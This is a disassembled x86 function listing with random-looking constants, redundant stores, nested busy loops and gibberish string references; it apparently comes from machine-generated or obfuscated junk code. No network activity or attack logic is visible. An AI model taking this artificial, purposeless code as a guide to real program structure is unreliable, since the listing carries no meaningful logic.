mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x424]
mov dword [eax + ecx*4], 0xb54c5f6b
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x100202a3
mov dword [ebp - 0x20], 0xd
jmp 0x10020352
push 0x25aa
push 0x10fe
push 1
push 0x7bb
push 0x73b9
push ebx
push 0x1370
push 0x15f2
lea eax, [ebp - 0x96]
mov byte [ebp - 0x96], bl
push eax
push ebx
push 0x444d
push 0x3f51
push 0x6693
push 0x1ac4
mov edx, 0x3b48
mov ecx, 0x774
call fcn.1001edea
mov dword [ebp - 0x18], 1
add esp, 0x38
cmp dword [ebp - 0x18], ebx
jl 0x1002034f
mov byte [ebp - 0x75], bl
lea ecx, [ebp - 0x75]
push 1
call fcn.1001cf08
pop ecx
push 1
push 0x307b
mov edx, 0x7d7
call fcn.1001cf40
dec dword [ebp - 0x18]
pop ecx
pop ecx
jns 0x10020329
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x18
jl 0x100202c8
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x424]
cmp dword [eax], ebx
je 0x10020387
cmp dword [ebp - 0x1c], ebx
jne 0x10020387
mov eax, ebx
jmp 0x1002038a
xor eax, eax
inc eax
mov edx, dword [ebp - 0x30]
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setg cl
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x424]
or dword [ebp - 4], eax
call fcn.10001830
mov dword [ebp - 0x1c], ebx
jmp 0x10020419
push 3
lea ecx, [ebp - 0x394]
call fcn.100017ce
lea eax, [ebp - 0x394]
mov dword [ebp - 4], 0x18
push eax
lea eax, [ebp - 0x294]
mov edx, 0x2c0a
push eax
push 0x5f5b
push 0x462
push ebx
push 1
mov cl, 1
call fcn.1001e3c0
mov eax, dword [ebp - 0x394]
lea ecx, [ebp - 0x394]
or dword [ebp - 4], 0xffffffff
add esp, 0x18
mov dword [eax + 8], 1
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0xbc], ebx
jne 0x10020421
call fcn.10001830
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jle 0x100203b0
jmp 0x10020426
call fcn.10001830
mov eax, dword [ebp - 0x108]
mov cl, byte [0x10078be0]
mov dl, byte [eax]
call fcn.10024320
push 2
lea ecx, [ebp - 0x4b4]
mov byte [0x10078be0], al
call fcn.100017ce
mov dword [ebp - 4], 0x19
mov dword [ebp - 0x18], 0xdf2f4a8b
mov dword [ebp - 0x18], ebx
jmp 0x10020471
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4b4]
mov dword [eax + ecx*4], 0xf0ea75c9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002045e
mov dword [ebp - 0x18], 1
cmp dword [ebp - 0x18], ebx
jl 0x100204d2
mov dword [ebp - 0xcc], 0xea6801fc
mov dword [ebp - 0xcc], ebx
jmp 0x100204c4
lea eax, [ebp - 0x4b4]
mov dl, 1
push eax
push 0x1901
push ebx
push 1
push 0x3634
push 0x5d12
lea ecx, [ebp - 0xcc]
call fcn.1001d1dc
add esp, 0x18
inc dword [ebp - 0xcc]
cmp dword [ebp - 0xcc], 2
jl 0x10020495
dec dword [ebp - 0x18]
jns 0x10020483
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4b4]
call fcn.10001830
xor edi, edi
inc edi
mov dword [ebp - 0x2dc], 0xa32b1cec
lea ecx, [ebp - 0x43c]
mov dword [ebp - 0x2d4], 0xffffffff
mov dword [ebp - 0x2bc], 9
mov dword [ebp - 0x2c4], 0xce40
push 2
call fcn.100017ce
push 0x776d
lea eax, [ebp - 0x43c]
mov dword [ebp - 4], 0x1a
push eax
push ecx
push ecx
lea eax, [ebp - 0xdc]
mov dword [ebp - 0x2cc], 0x6f9f1111
push 0x5a7c
push eax
xor dl, dl
call fcn.1001b264
add esp, 0x18
mov dword [ebp - 0xdc], ebx
jmp 0x10020569
mov eax, dword [ebp - 0xdc]
mov dword [ebp + eax*4 - 0x198], ebx
inc dword [ebp - 0xdc]
cmp dword [ebp - 0xdc], 1
jl 0x10020556
push ecx
push ecx
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x2c4]
push eax
lea eax, [ebp - 0x2cc]
push eax
push ecx
lea eax, [ebp - 0x2d4]
push ebx
push eax
lea edx, [ebp - 0x43c]
lea ecx, [ebp - 0x2dc]
call fcn.1001cc1d
add esp, 0x20
lea ecx, [ebp - 0x43c]
dec dword [ebp - 0x198]
or dword [ebp - 4], 0xffffffff
call fcn.10001830
mov al, byte [edi + 0x10078be0]
push 0x501
push ecx
push 0x6561
push 0x7cca
push ecx
push 0x1d72
push 0x7818
push ebx
push ecx
mov ecx, 0x2562
mov byte [ebp - 0x31], al
mov byte [ebp - 0x8e], al
call fcn.1001d27b
mov eax, edi
mov cl, byte [ebp - 0x31]
cdq
add esp, 0x24
idiv dword [ebp - 0x124]
mov esi, edx
mov dl, byte [ebp - 0x51]
call fcn.10024320
mov ecx, dword [ebp - 0x108]
mov dl, byte [esi + ecx]
mov cl, al
call fcn.10024320
mov byte [edi + 0x10078be0], al
xor edx, edx
inc edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], 0x21046671
mov dword [ebp - 0x30], 0x18fe3b64
push 9
pop ecx
mov dword [ebp - 0x3f4], ecx
mov dword [ebp - 0x3f0], ecx
mov dword [ebp - 0x3ec], ecx
mov dword [ebp - 0x3e8], ecx
mov dword [ebp - 0x40], 0xfffffffe
mov dword [ebp - 0x1c], ebx
jmp 0x1002066c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc8], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002065b
mov dword [ebp - 0x1c], ebx
jmp 0x10020688
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x180], 0x9633
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10020677
mov dword [ebp - 0x1c], 2
cmp dword [ebp - 0x1c], ebx
jl 0x1002088c
mov dword [ebp - 0x2c], 0xb963ab1
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x38], 0xb4f50f89
mov dword [ebp - 0x18], ebx
jmp 0x100206c9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4c], 0x4074dd03
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x100206bb
mov dword [ebp - 0x4c], ebx
cmp dword [ebp - 0x4c], 2
jg 0x10020883
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x18], ebx
jmp 0x10020701
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x11c], 0xf57f54ab
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x100206f0
mov dword [ebp - 0x18], ebx
jmp 0x100207e3
mov eax, dword [ebp - 0x4c]
cmp dword [ebp + eax*4 - 0xc8], ebx
je 0x10020733
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0xc8]
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, eax
mov eax, dword [ebp - 0x18]
sub ecx, eax
mov ecx, edx
jne 0x10020735
mov ecx, ebx
mov eax, dword [ebp - 0x4c]
xor edx, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0xc8]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x4c]
setle cl
xor edx, edx
add ecx, 0xfff9
cmp ecx, 0x197e7c14
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setg cl
xor edx, edx
inc ecx
cmp eax, ecx
mov eax, dword [ebp - 0x4c]
setne dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0xc8]
cmp eax, edx
sete cl
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x4c]
cmp dword [ebp + eax*4 - 0xc8], ebx
jne 0x100207d4
mov eax, dword [ebp - 0x4c]
cmp dword [ebp + eax*4 - 0xc8], ebx
je 0x100207b7
cmp dword [ebp - 0x40], ebx
je 0x100207b7
xor eax, eax
inc eax
jmp 0x100207b9
mov eax, ebx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0xc0]
test eax, eax
jne 0x100207d4
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0xc8]
xor edx, edx
inc edx
mov dword [ebp - 0x11c], edx
mov dword [ebp - 0x24], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x1002070e
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
dec eax
neg eax
sbb eax, eax
neg eax
neg eax
je 0x10020804
mov eax, dword [ebp - 0x11c]
mov eax, dword [ebp - 0xc8]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x11c]
mov eax, dword [ebp - 0xc4]
dec eax
je 0x10020831
mov eax, dword [ebp - 0x174]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x174]
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x17c]
je 0x10020855
mov ecx, ebx
cmp dword [ebp - 0x28], ebx
jne 0x10020857
mov ecx, edx
mov eax, dword [ebp - 0x4c]
push 1
mov edx, dword [ebp + eax*4 - 0xc8]
mov eax, dword [ebp - 0x38]
sub edx, ecx
xor ecx, ecx
cmp edx, eax
pop edx
setl cl
mov dword [ebp - 0x20], ecx
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 2
jle 0x100206db
push 9
pop ecx
dec dword [ebp - 0x1c]
jns 0x1002069e
mov eax, dword [ebp - 0x174]
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x180]
cmp ecx, eax
setg dl
mov dword [ebp - 0x1c], edx
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x174]
mov eax, dword [ebp - 0xc8]
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x174]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
xor edx, edx
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0xc0]
cmp ecx, eax
setg dl
mov dword [ebp - 0x3e8], edx
test edx, edx
jne 0x100208fc
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x174]
mov eax, dword [ebp - 0x20]
neg eax
cmp eax, 0x6105796d
jl 0x10020917
mov eax, dword [ebp - 0x174]
imul eax, dword [ebp - 0x20], 0x2577
cmp eax, dword [ebp - 0xc0]
jle 0x1002092c
mov eax, dword [ebp - 0x3f4]
mov ecx, dword [ebp - 0x17c]
xor edx, edx
mov eax, dword [ebp - 0x174]
add ecx, eax
mov eax, dword [ebp - 0xc4]
cmp ecx, eax
mov cl, 1
setne dl
mov dword [ebp - 0x20], edx
mov edx, 0x80e
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x51]
push eax
push 1
push 1
push 0x378c
lea eax, [ebp - 0x8e]
push eax
push 0x53ef
call fcn.1001ab1b
add esp, 0x18
inc edi
cmp edi, 4
jl 0x100204e4
mov eax, dword [0x10078be0]
xor ecx, ecx
mov dword [ebp - 0x110], eax
inc ecx
mov dword [ebp - 0x20], 0x137b1891
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x44], 0xd2250db8
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x38], 0x7110e6b6
mov dword [ebp - 0x28], 0x3f9150fa
mov dword [ebp - 0x18], ebx
jmp 0x100209ce
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x56c], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x100209c1
push 0x5ef2
push 0xa58
push ecx
push ecx
lea eax, [ebp - 0x77]
mov byte [ebp - 0x77], bl
push eax
mov dl, cl
mov ecx, 0x31b3
push 0x5af7
call fcn.1001d1dc
mov dword [ebp - 0x18], 0x2f35
add esp, 0x18
cmp dword [ebp - 0x18], 0x2fce
jle 0x10020a9a
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov ecx, ebx
mov dword [ebp - 0x2c], ebx
cdq
mov edi, ebx
idiv ecx
mov dword [ebp - 0x30], edi
mov eax, edx
mov dword [ebp - 0x40], eax
cdq
mov esi, ebx
idiv edi
mov edi, edx
mov eax, esi
lea ecx, [ebp - 0x69c]
xor eax, edi
cdq
push edx
push eax
call fcn.10002394
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10020a49
mov eax, dword [eax]
push eax
call fcn.10047752
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x69c]
call fcn.10005baf
inc esi
cmp esi, 0x239e
jl 0x10020a2d
mov edi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x40]
inc edi
mov dword [ebp - 0x30], edi
cmp edi, 0x5dcf
jl 0x10020a26
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
inc ecx
mov dword [ebp - 0x2c], ecx
cmp ecx, 0x2073
jl 0x10020a19
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x201f
jl 0x10020a14
mov eax, dword [ebp - 0x564]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x38]
mov dword [ebp - 0x28], 1
cmp dword [ebp - 0x30], 0xfe4b2830
mov eax, dword [ebp - 0x20]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, ecx
mov eax, dword [ebp - 0x38]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setl cl
add eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x568]
neg eax
sbb eax, eax
inc eax
add ecx, eax
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x18], 0x2d04
jge 0x10020af9
push str.wtpdergun_chdiqn_kcpyjvv
call fcn.10047752
pop ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x110], 0
jle 0x10022a78
cmp dword [ebp - 0x110], 0x286f
jae 0x10022a78
push dword [ebp - 0x294]
movdqa xmm0, xmmword [0x1006e550]
lea eax, [ebp - 0x5a4]
push eax
lea eax, [ebp - 0x5b4]
mov dword [ebp - 0x220], ebx
push eax
push ebx
lea ecx, [ebp - 0x220]
mov dword [ebp - 0x21c], ebx
movdqu xmmword [ebp - 0x5b4], xmm0
mov dword [ebp - 0x218], ebx
call fcn.100018ed
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0xf0], 0x184c506d
mov dword [ebp - 0x1e4], 0x6f37911b
mov dword [ebp - 0x35c], 0xc1b16eb2
mov dword [ebp - 0x2ec], 4
mov dword [ebp - 0x2e4], 0x6896e60b
mov dword [ebp - 0xf0], 3
cmp dword [ebp - 0xf0], ebx
jl 0x10020c0c
lea eax, [ebp - 0x220]
mov dword [ebp - 0x2f4], 0x1f3403ca
push eax
push ecx
lea eax, [ebp - 0x2e4]
mov dword [ebp - 0x2fc], 6
push eax
lea eax, [ebp - 0xf0]
mov edx, 0x2af0
push eax
lea eax, [ebp - 0x2ec]
push eax
lea eax, [ebp - 0x2f4]
push eax
push ecx
lea eax, [ebp - 0x2fc]
push eax
push 1
lea eax, [ebp - 0x1e4]
push eax
lea eax, [ebp - 0x35c]
push eax
call fcn.1001ad9f
add esp, 0x2c
dec dword [ebp - 0xf0]
jns 0x10020ba7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x220]
call fcn.10001830
lea eax, [ebp - 0x188]
push eax
push ecx
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x110]
push eax
push ecx
lea eax, [ebp - 0x124]
push eax
lea eax, [ebp - 0x304]
push eax
push 1
push ecx
lea ecx, [ebp - 0x51]
call fcn.1001d27b
mov dword [ebp - 0x1c], 0xad6f2ee7
add esp, 0x24
mov dword [ebp - 0x1f4], 1
mov dword [ebp - 0x28], 0x234d
cmp dword [ebp - 0x28], 0x2577
jle 0x10020c9d
mov esi, ebx
mov dword [ebp - 0x30], ebx
mov edi, esi
mov esi, 0x632d
mov eax, edi
mov ecx, 0x1007ba38
cdq
push edx
push eax
call fcn.10005547
dec edi
dec esi
jne 0x10020c7b
mov esi, dword [ebp - 0x30]
inc esi
mov dword [ebp - 0x30], esi
cmp esi, 0x6e28
jl 0x10020c74
mov dword [ebp - 4], 0x1e
cmp dword [ebp - 0x28], 0x204f
jge 0x10020cbc
mov edx, str.vcqc_lssikuh_peqw_tacl_evldymffq_attc_bqc_exvcyh_ukhypzlvv
mov ecx, 0x1007ba38
call fcn.100078f4
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x20], 0x402da3c3
mov dword [ebp - 0x3c], 0xfffffffa
mov dword [ebp - 0x24], 0xfffffffb
mov dword [ebp - 0x30], 0x2216
cmp dword [ebp - 0x30], 0x2351
jle 0x10020d58
mov dword [ebp - 0x28], ebx
mov edx, ebx
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x6f0]
and eax, edx
or eax, dword [ebp - 0x28]
cdq
push edx
push eax
call fcn.10002394
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10020d14
mov eax, dword [eax]
push eax
call fcn.10047752
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x6f0]
call fcn.10005baf
mov edx, dword [ebp - 0x2c]
inc esi
cmp esi, 0x50c3
jl 0x10020cf1
inc edi
cmp edi, 0x73f4
jl 0x10020cef
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 0x7e58
jl 0x10020ced
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x49c4
jl 0x10020ce8
mov dword [ebp - 0x40], 0x1468f300
cmp dword [ebp - 0x30], 0x20d8
jge 0x10020d73
push str.ktvx_flqhw_mqbhol_fubbimzs_wiraccjnu_zujdt_ekvgggl_bdlwojiwj_xciaq_rempebwha
call fcn.10047752
pop ecx
or esi, 0xffffffff
mov dword [ebp - 4], esi
mov dword [ebp - 0x18], ebx
jmp 0x10020db4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x288], 0xfffffffe
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10020da3
cmp dword [ebp - 0x1c], ebx
je 0x10020e1c
push 2
lea ecx, [ebp - 0x400]
call fcn.100017ce
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x18], ebx
jmp 0x10020deb
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x400]
mov dword [eax + ecx*4], 0xb8c3ad3b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10020dd8
push ebx
sub esp, 0x14
lea edx, [ebp - 0x400]
lea ecx, [ebp - 0x1f4]
call fcn.1001bd75
add esp, 0x18
mov dword [ebp - 4], esi
lea ecx, [ebp - 0x400]
call fcn.10001830
jmp 0x10020fcc
mov dword [ebp - 0x28], 0xe9e84363
xor dl, dl
mov dword [ebp - 0x18], 0x978e60d7
mov dword [ebp - 0x1a4], esi
push 0x54e3
call fcn.1001d314
pop ecx
mov dword [ebp - 0x1c], ebx
jmp 0x10020fc2
mov dword [ebp - 0x30], 5
xor ecx, ecx
mov dword [ebp - 0x40], 0x95ef2b5d
mov dword [ebp - 0x4ec], esi
mov dword [ebp - 0x4e8], esi
mov dword [ebp - 0x4e4], esi
mov dword [ebp - 0x4e0], esi
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x288]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x288]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x288]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x288]
mov eax, dword [ebp - 0x284]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
cmp eax, 1
setl cl
cmp ecx, 0xe1d4595a
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], ebx
jmp 0x10020fb5
lea eax, [ebp - 0x78]
mov dword [ebp - 0x38], 0x1a01
mov byte [ebp - 0x78], bl
mov dl, 1
push eax
call fcn.1001d314
mov dword [ebp - 0x18], 3
pop ecx
cmp dword [ebp - 0x18], ebx
jl 0x10020fb2
push 0x1b80
push 0x3191
push 1
push 0x241e
push 0xa81
push 0x752c
push 0x7b51
push 0x109a
push 0x1653
push 0x534d
push 1
lea eax, [ebp - 0x1a4]
mov dl, 1
push eax
push 0x727f
mov ecx, 0x4bbb
call fcn.1001d360
mov dword [ebp - 0x30], esi
add esp, 0x34
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x4ec]
mov eax, dword [ebp - 0x1c]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setl cl
cmp ecx, 0x5555d5df
jle 0x10020f67
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x288], ecx
mov eax, dword [ebp - 0x18]
sub eax, ecx
xor ecx, ecx
cmp eax, 1
setl cl
xor eax, eax
cmp ecx, 0x349b8ae
mov ecx, dword [ebp - 0x38]
setg al
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x38]
cmp ecx, eax
setge dl
xor eax, eax
cmp edx, 5
setl al
mov dword [ebp - 0x1a4], eax
dec dword [ebp - 0x18]
jns 0x10020ef0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jle 0x10020eca
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jle 0x10020e45
mov eax, dword [ebp - 0x20]
xor ecx, ecx
inc ecx
cmp dword [ebp - 0x3c], ecx
jg 0x10020fda
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov edx, 0x1007f578
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x288]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
push ebx
mov dword [ebp - 0x40], ecx
push ecx
call fcn.1001cba4
pop ecx
pop ecx
mov dword [ebp - 0xe0], ebx
lea ecx, [ebp - 0x3ac]
mov dword [ebp - 0x2c], 0x1f7e2799
mov dword [ebp - 0x40], 0xfd4914d2
push 4
call fcn.100017ce
mov dword [ebp - 4], 0x23
mov dword [ebp - 0x204], 0x14d2fc5c
mov dword [ebp - 0x44], 9
mov dword [ebp - 0x44], 0x892657cf
mov dword [ebp - 0x44], 0xfffffff9
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x44], 0xb8a51422
mov dword [ebp - 0x30c], 0xfffffffa
mov dword [ebp - 0x44], 0xfffffffa
mov dword [ebp - 0x314], 0xfffffffe
mov dword [ebp - 0x18], ebx
jmp 0x10021088
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3ac]
mov dword [eax + ecx*4], 0x9cc14173
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10021075
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x2c], 0xffffffe6
je 0x10021276
mov dword [ebp - 0x24], 0x1eb5
cmp dword [ebp - 0x24], 0x1fe0
jle 0x100210ef
mov dword [ebp - 0x28], ebx
mov esi, ebx
mov edi, ebx
mov ebx, dword [ebp - 0x28]
lea ecx, [edi + esi]
mov eax, ebx
shl eax, cl
mov ecx, 0x1007ba38
cdq
push edx
push eax
call fcn.10005547
inc edi
cmp edi, 0x117c
jl 0x100210b5
inc esi
push 0
pop ebx
cmp esi, 0x71f
jl 0x100210b0
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x42d2
jl 0x100210ae
or esi, 0xffffffff
mov dword [ebp - 0x50], 0xfa9d19ac
mov byte [ebp - 4], 0x24
cmp dword [ebp - 0x24], 0x1beb
jge 0x10021133
mov edx, str.ylmm_uggepgrg_anxf_dqxtr_tgmxwqrmi_htnm_wabghy_frv_yoyhph_sqirnl_tpn
mov ecx, 0x1007ba38
call fcn.100078f4
jmp 0x10021133
mov dword [ebp - 4], 0x23
mov dword [ebp - 0x214], esi
mov dword [ebp - 0x18], ebx
jmp 0x10021156
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x6c0], 0xddb74a71
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10021145
dec dword [ebp - 0x50]
mov dword [ebp - 0x50], ebx
jmp 0x10021264
push 2
lea ecx, [ebp - 0x560]
call fcn.100017ce
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x44], 0x4b0f4f2d
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 0x18], ebx
jmp 0x1002119d
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x560]
mov dword [eax + ecx*4], 5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002118a
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x18], ebx
jmp 0x100211ce
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x618], 0x4b6046e7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x100211bd
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x3ac]
mov eax, dword [ebp - 0x50]
cmp dword [ecx + edx*4], eax
jge 0x100211f9
mov eax, dword [ebp - 0x10c]
dec dword [ebp - 0x10c]
test eax, eax
jne 0x100211f9
mov ecx, ebx
jmp 0x100211fc
xor ecx, ecx
inc ecx
xor eax, eax
lea edx, [ebp - 0x314]
push 0x46f8
push 1
cmp ecx, 1
lea ecx, [ebp - 0x214]
push 0x4206
sete al
mov dword [ebp - 0x618], eax
lea eax, [ebp - 0x30c]
push eax
push 1
push 0xb0e
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x3ac]
push eax
lea eax, [ebp - 0x204]
push eax
push ebx
call fcn.1001bb9a
add esp, 0x2c
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x560]
call fcn.10001830
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 3
jle 0x10021167
dec dword [ebp - 0x2c]
jmp 0x10021091
lea ecx, [ebp - 0x3ac]
mov dword [ebp - 4], esi
call fcn.10001830
mov eax, dword [ebp - 0x188]
lea ecx, [ebp - 0x454]
mov dword [ebp - 0x31c], 0xa32b1cec
add eax, 4
mov dword [ebp - 0x324], esi
mov dword [ebp - 0x224], 9
mov dword [ebp - 0x32c], 0xce40
push 2
mov dword [ebp - 0x40], eax
call fcn.100017ce
mov dword [ebp - 4], 0x27
mov dword [ebp - 0x234], 0x6f9f1111
mov dword [ebp - 0x1c], ebx
jmp 0x100212ea
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x454]
mov dword [eax + ecx*4], 1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100212d7
mov dword [ebp - 0x1c], ebx
jmp 0x10021302
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1ac], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x100212f5
push 0x29ac
push ecx
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x224]
push eax
push 1
lea eax, [ebp - 0x454]
push eax
push ecx
lea eax, [ebp - 0x324]
push eax
lea edx, [ebp - 0x234]
lea ecx, [ebp - 0x32c]
call fcn.1001afb3
add esp, 0x20
lea ecx, [ebp - 0x454]
dec dword [ebp - 0x1ac]
mov dword [ebp - 4], esi
call fcn.10001830
push 1
lea ecx, [ebp - 0x1d0]
call fcn.100017ce
push 4
lea ecx, [ebp - 0x46c]
mov dword [ebp - 4], 0x28
call fcn.100017ce
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x584]
mov dword [ebp - 0x3c], 0xfffffffe
push 3
call fcn.100017ce
push 0x50ac
push ecx
push 0x59cc
push ecx
push 0x72af
lea eax, [ebp - 0x1d0]
mov byte [ebp - 4], 0x2a
push eax
lea eax, [ebp - 0x190]
mov dword [ebp - 0x24], esi
